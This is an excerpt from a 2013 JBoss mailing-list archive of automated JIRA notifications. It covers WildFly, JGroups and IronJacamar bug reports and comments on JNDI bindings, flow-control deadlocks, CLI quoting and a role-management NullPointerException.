> 	at org.drools.common.AbstractWorkingMemory.executeQueuedActions(AbstractWorkingMemory.java:977)
> 	... 17 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 09:32:03 2013
From: jira-events at lists.jboss.org (Lieven Doclo (JIRA))
Date: Tue, 17 Sep 2013 09:32:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2070) Allow for deployable JNDI
	resource file
In-Reply-To: <JIRA.12500689.1379080909000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500689.1379080909000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500689.1379080909000.30550.1379424723596@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2070?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805099#comment-12805099 ] 

Lieven Doclo commented on WFLY-2070:
------------------------------------

When you define the JNDI resources in your application xml descriptor or component xml descriptor, you're essentially hardcoding the values in your application deployment (for example, when you want to change the values, you need to change the deployment artifact, which is not convenient). The WildFly subsystem configuration forces you to edit the configuration file (standalone.xml or other) which we can't do in our production environment or use the CLI tooling (which requires WildFly CLI knowledge on every level of deployment). 
I'm not saying it's a big deal, but it would surely be convenient to hot-deploy or change JNDI simple bindings by just dropping or editing a file just like you can do with datasources. It seems like a quick win.
Alternatively, it would be convenient if we could change or add simple JNDI bindings in the Web Management console.

                
> Allow for deployable JNDI resource file
> ---------------------------------------
>
>                 Key: WFLY-2070
>                 URL: https://issues.jboss.org/browse/WFLY-2070
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Naming
>            Reporter: Lieven Doclo
>            Assignee: Eduardo Martins
>
> It would be nice to have a deployable xml file to add simple JNDI bindings. Something like the *-ds.xml files.
> For example:
> {code:xml}
> <?xml version="1.0" encoding="UTF-8"?>
> <naming>
>   <bindings>
>     <simple name="java:/url/some_url_resource" value="file://..." type="java.net.URL"/>
>   </bindings>
> </naming>
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 09:39:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 09:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2096) WeldApplicationFactory
 doesn't implement setApplication() correctly
In-Reply-To: <JIRA.12500836.1379414469000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500836.1379414469000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500836.1379414469000.30555.1379425143485@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2096?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805100#comment-12805100 ] 

RH Bugzilla Integration commented on WFLY-2096:
-----------------------------------------------

Tomas Repel <trepel at redhat.com> made a comment on [bug 1008998|https://bugzilla.redhat.com/show_bug.cgi?id=1008998]

Sorry, I can't attach the war due to its too big size (20M). To download the war please use this link: http://download.eng.brq.redhat.com/scratch/trepel/spring-booking-faces.war.
                
> WeldApplicationFactory doesn't implement setApplication() correctly
> -------------------------------------------------------------------
>
>                 Key: WFLY-2096
>                 URL: https://issues.jboss.org/browse/WFLY-2096
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld, JSF
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Martin Kouba
>            Assignee: Stuart Douglas
>
> The problem is described in WELD-913. The fix was only applied to Weld servlet support [1] and not AS7/WildFly8 integration code (most probably because the target environment of the issue was Tomcat).
> [1]
> https://github.com/weld/core/blob/master/environments/servlet/core/src/main/java/org/jboss/weld/environment/servlet/jsf/WeldApplicationFactory.java

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 09:43:04 2013
From: jira-events at lists.jboss.org (Tom Fonteyne (JIRA))
Date: Tue, 17 Sep 2013 09:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2097) The vault wants write access
 to the keystore even when not needed
In-Reply-To: <JIRA.12500848.1379425358233@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500848.1379425358233@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500848.1379425358233.30558.1379425384368@jira02.app.mwc.hst.phx2.redhat.com>

Tom Fonteyne created WFLY-2097:
----------------------------------

             Summary: The vault wants write access to the keystore even when not needed
                 Key: WFLY-2097
                 URL: https://issues.jboss.org/browse/WFLY-2097
             Project: WildFly
          Issue Type: Bug
          Components: Security
    Affects Versions: 8.0.0.Alpha4
            Reporter: Tom Fonteyne
            Assignee: Darran Lofthouse


security/src/main/java/org/jboss/as/security/vault/VaultSession.java

want constant "write" access to the keystore. This is considered to be a security risk.

We understand this was a requirement to allow upgrades to be done automatically but don't see why the write-access has to be permanent

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 09:45:03 2013
From: jira-events at lists.jboss.org (Eduardo Martins (JIRA))
Date: Tue, 17 Sep 2013 09:45:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2070) Allow for deployable JNDI
	resource file
In-Reply-To: <JIRA.12500689.1379080909000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500689.1379080909000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500689.1379080909000.30561.1379425503437@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2070?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805101#comment-12805101 ] 

Eduardo Martins commented on WFLY-2070:
---------------------------------------

Such convenience would then apply to every management aspect of Wildfly, which would result in a lot of deployment processors that do nothing more than replicate the management ops of the subsystems. I agree with you wrt the web console, and it would make much more sense to ask for such feature *there*.

Anyway, IMHO the CLI should be your best friend wrt management client tools.
                
> Allow for deployable JNDI resource file
> ---------------------------------------
>
>                 Key: WFLY-2070
>                 URL: https://issues.jboss.org/browse/WFLY-2070
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Naming
>            Reporter: Lieven Doclo
>            Assignee: Eduardo Martins
>
> It would be nice to have a deployable xml file to add simple JNDI bindings. Something like the *-ds.xml files.
> For example:
> {code:xml}
> <?xml version="1.0" encoding="UTF-8"?>
> <naming>
>   <bindings>
>     <simple name="java:/url/some_url_resource" value="file://..." type="java.net.URL"/>
>   </bindings>
> </naming>
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 09:59:03 2013
From: jira-events at lists.jboss.org (jaikiran pai (JIRA))
Date: Tue, 17 Sep 2013 09:59:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1547) deploy directories not
	cleaned up
In-Reply-To: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12479851.1353935247000.30603.1379426343811@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1547?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805111#comment-12805111 ] 

jaikiran pai commented on WFLY-1547:
------------------------------------

Shaun, thanks for testing this.
                
> deploy directories not cleaned up
> ---------------------------------
>
>                 Key: WFLY-1547
>                 URL: https://issues.jboss.org/browse/WFLY-1547
>             Project: WildFly
>          Issue Type: Bug
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Shaun Appleton
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Beta1
>
>         Attachments: deployment_with_hack_no_hook.txt
>
>
> JBoss EAP 6.0.0 (and 6.0.1.ER3) doesn't clean up it's tmp/vfs directories.
> The following reproduces this -
> i) ensure run.conf has the -Xrs set
> ii) ensure deployments has a deployable .ear in it
> iii) ./run standalone.sh and allow the deployments to deploy
> iv) stop the EAP process ie kill <process_id>
> v) observe content tmp/vfs
> (The -Xrs parameter is used to "-Xrs" to prevent possible interference when JVM is running as a service and receives CTRL_LOGOFF_EVENT or SIGHUP)
> This will eventually cause problems with lack of disk space.
> Note if the -Xrs parameter content is removed but the tmp/vfs dirs stills exist. This could potentially cause inode problems.
> It would be better if there were any additional code so the temp dirs are cleaned up on start up. That would resolve both the -Xrs problem and the excessive dir creation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 10:13:04 2013
From: jira-events at lists.jboss.org (Jesper Pedersen (JIRA))
Date: Tue, 17 Sep 2013 10:13:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1082) Investigate
 getConnectionProperties optimization
In-Reply-To: <JIRA.12500420.1378823201000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500420.1378823201000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500420.1378823201000.30643.1379427184636@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBJCA-1082?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jesper Pedersen resolved JBJCA-1082.
------------------------------------

    Resolution: Done

    
> Investigate getConnectionProperties optimization
> ------------------------------------------------
>
>                 Key: JBJCA-1082
>                 URL: https://issues.jboss.org/browse/JBJCA-1082
>             Project: IronJacamar
>          Issue Type: Task
>          Components: JDBC
>            Reporter: Jesper Pedersen
>            Assignee: Jesper Pedersen
>             Fix For: 1.0.21.Final, 1.1.1.Final
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 10:15:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Tue, 17 Sep 2013 10:15:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1675) CreditRequest in FlowControl
	is not OOB
In-Reply-To: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498385.1376295331000.30649.1379427304456@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1675?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805117#comment-12805117 ] 

Bela Ban commented on JGRP-1675:
--------------------------------

In general, the CREDIT request should not be needed; it is only used to speed things up: the underlying reliable message transmission (NAKACK or UNICAST) retransmits messages, so eventually the receipient(s) will receive the data and send credit responses, unblocking the sender(s).

Can you give me an excact description of what happened, and - if possible - how to reproduce it ?
                
> CreditRequest in FlowControl is not OOB
> ---------------------------------------
>
>                 Key: JGRP-1675
>                 URL: https://issues.jboss.org/browse/JGRP-1675
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Radim Vansa
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> I have recently observed a repeated situation where many (or all) threads have been stuck waiting for credits in FlowControl protocol.
> The credit request was not handled on the other node as this is non-oob message and some (actually many of them - cause unknown) messages before the request have been lost - therefore the request was waiting for them to be re-sent.
> However, these have not been re-sent properly as the retransmission request was not received - all OOB threads were stuck in the FlowControl protocol as these handled some other request and tried to send a response - but the response could not be sent until FlowControl gets the credits.
> The probability of such situation could be lowered by tagging the credit request to be OOB - then it would be handled immediately. If the credit replenish message would then be processed in regular OOB pool, this could get already depleted by many requests, but setting up the internal thread pool would solve the problem.
> Other consideration would be to allow releasing thread from FlowControl (let it send the message even without credits) if it waits there for too long.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 10:21:03 2013
From: jira-events at lists.jboss.org (Alexey Loubyansky (JIRA))
Date: Tue, 17 Sep 2013 10:21:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2051) CLI write attribute dialog
 for string value should enclose value in generated command to double quotes
In-Reply-To: <JIRA.12500587.1378980513000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500587.1378980513000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500587.1378980513000.30665.1379427663687@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2051?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805121#comment-12805121 ] 

Alexey Loubyansky commented on WFLY-2051:
-----------------------------------------

It's actually a bug in the CLI command line parser. I.e. it parses any expression like ${xxxx} to simply $. This would fix it 
https://github.com/aloubyansky/wildfly/commit/255fa8e50a98cae9bffbe7dd60adc6d518548341
                
> CLI write attribute dialog for string value should enclose value in generated command to double quotes
> ------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2051
>                 URL: https://issues.jboss.org/browse/WFLY-2051
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Chao Wang
>            Assignee: Chao Wang
>
> {noformat}
> Wildfly issue for https://bugzilla.redhat.com/show_bug.cgi?id=988283
> String value entered in write attribute dialog is written to command without double quotes, which is wrong in many cases
> Eg. when user enteres in dialog value ${jboss.bind.address:127.0.0.1}
> following command is generated:
> /subsystem=webservices/:write-attribute(name=wsdl-host,value=${jboss.bind.address:127.0.0.1})
> Correctly should be generated command 
> /subsystem=webservices/:write-attribute(name=wsdl-host,value="${jboss.bind.address:127.0.0.1}")
> 1. start AS
>   ./bin/standalone.sh
> 2. start CLI GUI 
>   ./bin/jboss-cli.sh --gui &
> 3. click on node subsystem=webservices of /
> 4. right click on wsdl-host and select write-attribute
> 5. enter value ${jboss.bind.address:127.0.0.1} and click OK
> 6. submit generated command
> 7. reload node
>   click on node subsystem=webservices of / (close node)
>   click on node subsystem=webservices of / (open node)
> Result is wsdl-host=$ instead of wsdl-host=${jboss.bind.address:127.0.0.1}
> Workaround: in dialog box enclose the value in double quotes
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 10:21:04 2013
From: jira-events at lists.jboss.org (Alexey Loubyansky (JIRA))
Date: Tue, 17 Sep 2013 10:21:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2051) CLI write attribute dialog
 for string value should enclose value in generated command to double quotes
In-Reply-To: <JIRA.12500587.1378980513000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500587.1378980513000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500587.1378980513000.30671.1379427664024@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2051?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805121#comment-12805121 ] 

Alexey Loubyansky edited comment on WFLY-2051 at 9/17/13 10:21 AM:
-------------------------------------------------------------------

It's actually a bug in the CLI command line parser. I.e. it parses any expression like ${xxxx} to simply $. This would fix it 
https://github.com/aloubyansky/wildfly/commit/255fa8e50a98cae9bffbe7dd60adc6d518548341
                
      was (Author: aloubyansky):
    It's actually a bug in the CLI command line parser. I.e. it parses any expression like ${xxxx} to simply $. This would fix it 
https://github.com/aloubyansky/wildfly/commit/255fa8e50a98cae9bffbe7dd60adc6d518548341
                  
> CLI write attribute dialog for string value should enclose value in generated command to double quotes
> ------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2051
>                 URL: https://issues.jboss.org/browse/WFLY-2051
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Chao Wang
>            Assignee: Chao Wang
>
> {noformat}
> Wildfly issue for https://bugzilla.redhat.com/show_bug.cgi?id=988283
> String value entered in write attribute dialog is written to command without double quotes, which is wrong in many cases
> Eg. when user enteres in dialog value ${jboss.bind.address:127.0.0.1}
> following command is generated:
> /subsystem=webservices/:write-attribute(name=wsdl-host,value=${jboss.bind.address:127.0.0.1})
> Correctly should be generated command 
> /subsystem=webservices/:write-attribute(name=wsdl-host,value="${jboss.bind.address:127.0.0.1}")
> 1. start AS
>   ./bin/standalone.sh
> 2. start CLI GUI 
>   ./bin/jboss-cli.sh --gui &
> 3. click on node subsystem=webservices of /
> 4. right click on wsdl-host and select write-attribute
> 5. enter value ${jboss.bind.address:127.0.0.1} and click OK
> 6. submit generated command
> 7. reload node
>   click on node subsystem=webservices of / (close node)
>   click on node subsystem=webservices of / (open node)
> Result is wsdl-host=$ instead of wsdl-host=${jboss.bind.address:127.0.0.1}
> Workaround: in dialog box enclose the value in double quotes
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 10:47:03 2013
From: jira-events at lists.jboss.org (Radim Vansa (JIRA))
Date: Tue, 17 Sep 2013 10:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1675) CreditRequest in FlowControl
	is not OOB
In-Reply-To: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498385.1376295331000.30721.1379429223449@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1675?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805131#comment-12805131 ] 

Radim Vansa commented on JGRP-1675:
-----------------------------------

A shouldn't need to send the request because B will send replenishment to A as it finds out that A has sent enough messages to B to lower the credit count under threshold. However, if messages on B are not received (probably not due to network failure but because of OOB TP depletion), it won't find out that A has not enough credits.
Eventually, B should send XMIT_REQ to A and A should resend the messages, but if B has almost depleted OOB, it will discard most of them as there won't be enough threads to process them.
Now, the question is why the OOB is depleted. Analyzing stacks for B, I've found that it has most OOB threads stuck waiting for credits - so B happens to be in A's position. Sometimes it's waiting for credits to another node, sometimes just to A, but there's a cycle.

I don't say that I have a full explanation what happened in the system so that we've come to this situation.

Regarding the test - I understand that minimal example is always better, but would be RadarGun benchmark + ispn config + jgroups config where this happens sufficient?
                
> CreditRequest in FlowControl is not OOB
> ---------------------------------------
>
>                 Key: JGRP-1675
>                 URL: https://issues.jboss.org/browse/JGRP-1675
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Radim Vansa
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> I have recently observed a repeated situation where many (or all) threads have been stuck waiting for credits in FlowControl protocol.
> The credit request was not handled on the other node as this is non-oob message and some (actually many of them - cause unknown) messages before the request have been lost - therefore the request was waiting for them to be re-sent.
> However, these have not been re-sent properly as the retransmission request was not received - all OOB threads were stuck in the FlowControl protocol as these handled some other request and tried to send a response - but the response could not be sent until FlowControl gets the credits.
> The probability of such situation could be lowered by tagging the credit request to be OOB - then it would be handled immediately. If the credit replenish message would then be processed in regular OOB pool, this could get already depleted by many requests, but setting up the internal thread pool would solve the problem.
> Other consideration would be to allow releasing thread from FlowControl (let it send the message even without credits) if it waits there for too long.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 10:49:04 2013
From: jira-events at lists.jboss.org (Radim Vansa (JIRA))
Date: Tue, 17 Sep 2013 10:49:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1675) CreditRequest in FlowControl
	is not OOB
In-Reply-To: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498385.1376295331000.30731.1379429344370@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1675?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805131#comment-12805131 ] 

Radim Vansa edited comment on JGRP-1675 at 9/17/13 10:48 AM:
-------------------------------------------------------------

A shouldn't need to send the request because B will send replenishment to A as it finds out that A has sent enough messages to B to lower the credit count under threshold. However, if messages on B are not received (probably not due to network failure but because of OOB TP depletion), it won't find out that A has not enough credits.
Eventually, B should send XMIT_REQ to A and A should resend the messages, but if B has almost depleted OOB, it will discard most of them as there won't be enough threads to process them.
Now, the question is why the OOB is depleted. Analyzing stacks for B, I've found that it has most OOB threads stuck waiting for credits - so B happens to be in A's position. Sometimes it's waiting for credits to another node, sometimes just to A, but there's a cycle.

I don't say that I have a full explanation what happened in the system so that we've come to this situation - it sounds like petitio principii, right? - but it's happening.

Regarding the test - I understand that minimal example is always better, but would be RadarGun benchmark + ispn config + jgroups config where this happens sufficient?
                
      was (Author: rvansa):
    A shouldn't need to send the request because B will send replenishment to A as it finds out that A has sent enough messages to B to lower the credit count under threshold. However, if messages on B are not received (probably not due to network failure but because of OOB TP depletion), it won't find out that A has not enough credits.
Eventually, B should send XMIT_REQ to A and A should resend the messages, but if B has almost depleted OOB, it will discard most of them as there won't be enough threads to process them.
Now, the question is why the OOB is depleted. Analyzing stacks for B, I've found that it has most OOB threads stuck waiting for credits - so B happens to be in A's position. Sometimes it's waiting for credits to another node, sometimes just to A, but there's a cycle.

I don't say that I have a full explanation what happened in the system so that we've come to this situation.

Regarding the test - I understand that minimal example is always better, but would be RadarGun benchmark + ispn config + jgroups config where this happens sufficient?
                  
> CreditRequest in FlowControl is not OOB
> ---------------------------------------
>
>                 Key: JGRP-1675
>                 URL: https://issues.jboss.org/browse/JGRP-1675
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Radim Vansa
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> I have recently observed a repeated situation where many (or all) threads have been stuck waiting for credits in FlowControl protocol.
> The credit request was not handled on the other node as this is non-oob message and some (actually many of them - cause unknown) messages before the request have been lost - therefore the request was waiting for them to be re-sent.
> However, these have not been re-sent properly as the retransmission request was not received - all OOB threads were stuck in the FlowControl protocol as these handled some other request and tried to send a response - but the response could not be sent until FlowControl gets the credits.
> The probability of such situation could be lowered by tagging the credit request to be OOB - then it would be handled immediately. If the credit replenish message would then be processed in regular OOB pool, this could get already depleted by many requests, but setting up the internal thread pool would solve the problem.
> Other consideration would be to allow releasing thread from FlowControl (let it send the message even without credits) if it waits there for too long.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 11:00:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Tue, 17 Sep 2013 11:00:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1700) STABLE: use a bit set instead
 of a hash set for votes
In-Reply-To: <JIRA.12500852.1379429897019@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500852.1379429897019@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500852.1379429897019.30765.1379430004487@jira02.app.mwc.hst.phx2.redhat.com>

Bela Ban created JGRP-1700:
------------------------------

             Summary: STABLE: use a bit set instead of a hash set for votes
                 Key: JGRP-1700
                 URL: https://issues.jboss.org/browse/JGRP-1700
             Project: JGroups
          Issue Type: Enhancement
            Reporter: Bela Ban
            Assignee: Bela Ban
             Fix For: 3.4


Currently, the votes hashset is cleared when the digest is reset, and then votes are added as STABLE messages come in. However, since the digest is based on an Address[] membership, we could create a FixedSizeBitSet, and the bit to set when a STABLE msg is received is computed as the sender's rank in that membership. When all bits are set, we can send a STABILITY message (= all votes have been received).
This takes up less space than a hashset.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 11:33:05 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 17 Sep 2013 11:33:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-71) Release Remoting JMX 2.0.0.CR3
In-Reply-To: <JIRA.12500855.1379431958361@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500855.1379431958361@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500855.1379431958361.30821.1379431985166@jira02.app.mwc.hst.phx2.redhat.com>

Darran Lofthouse created REMJMX-71:
--------------------------------------

             Summary: Release Remoting JMX 2.0.0.CR3
                 Key: REMJMX-71
                 URL: https://issues.jboss.org/browse/REMJMX-71
             Project: Remoting JMX
          Issue Type: Task
          Components: Build
            Reporter: Darran Lofthouse
            Assignee: Darran Lofthouse
             Fix For: 2.0.0.CR3


This contains a follow up commit for REMJMX-68.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 11:37:03 2013
From: jira-events at lists.jboss.org (Harald Pehl (JIRA))
Date: Tue, 17 Sep 2013 11:37:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2098) NPE when modifying an
 existing server-group scoped role
In-Reply-To: <JIRA.12500856.1379432201579@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500856.1379432201579@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500856.1379432201579.30835.1379432223959@jira02.app.mwc.hst.phx2.redhat.com>

Harald Pehl created WFLY-2098:
---------------------------------

             Summary: NPE when modifying an existing server-group scoped role
                 Key: WFLY-2098
                 URL: https://issues.jboss.org/browse/WFLY-2098
             Project: WildFly
          Issue Type: Bug
          Components: Domain Management
            Reporter: Harald Pehl
            Assignee: Brian Stansberry


When modifiying an existing server-group scoped role using the console, I#m running intoan NPE at org.jboss.as.controller.access.constraint.ServerGroupEffectConstraint.setAllowedGroups(ServerGroupEffectConstraint.java:108)

Relevant operation:
{code}
{
    "operation" => "composite",
    "address" => [],
    "steps" => [
        {
            "address" => [
                ("core-service" => "management"),
                ("access" => "authorization"),
                ("server-group-scoped-role" => "main-DEPLOYER")
            ],
            "name" => "base-role",
            "value" => "MAINTAINER",
            "operation" => "write-attribute"
        },
        {
            "address" => [
                ("core-service" => "management"),
                ("access" => "authorization"),
                ("server-group-scoped-role" => "main-DEPLOYER")
            ],
            "name" => "server-groups",
            "value" => ["main-server-group"],
            "operation" => "write-attribute"
        }
    ]
}
{code}

Stacktrace
{code}
17:23:59,102 ERROR [org.jboss.as.controller.management-operation] (host-controller-connection-threads - 1) JBAS014612: Operation ("write-attribute") failed - address: ([
    ("core-service" => "management"),
    ("access" => "authorization"),
    ("server-group-scoped-role" => "main-DEPLOYER")
]): java.lang.NullPointerException
	at org.jboss.as.controller.access.constraint.ServerGroupEffectConstraint.setAllowedGroups(ServerGroupEffectConstraint.java:108) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.controller.access.constraint.ServerGroupEffectConstraint.setAllowedGroups(ServerGroupEffectConstraint.java:108) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.domain.management.access.ServerGroupScopedRoleWriteAttributeHandler.applyChangeToConstraint(ServerGroupScopedRoleWriteAttributeHandler.java:78) [wildfly-domain-management-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.domain.management.access.ServerGroupScopedRoleWriteAttributeHandler.applyUpdateToRuntime(ServerGroupScopedRoleWriteAttributeHandler.java:55) [wildfly-domain-management-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.controller.AbstractWriteAttributeHandler$1.execute(AbstractWriteAttributeHandler.java:101) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:609) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:487) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
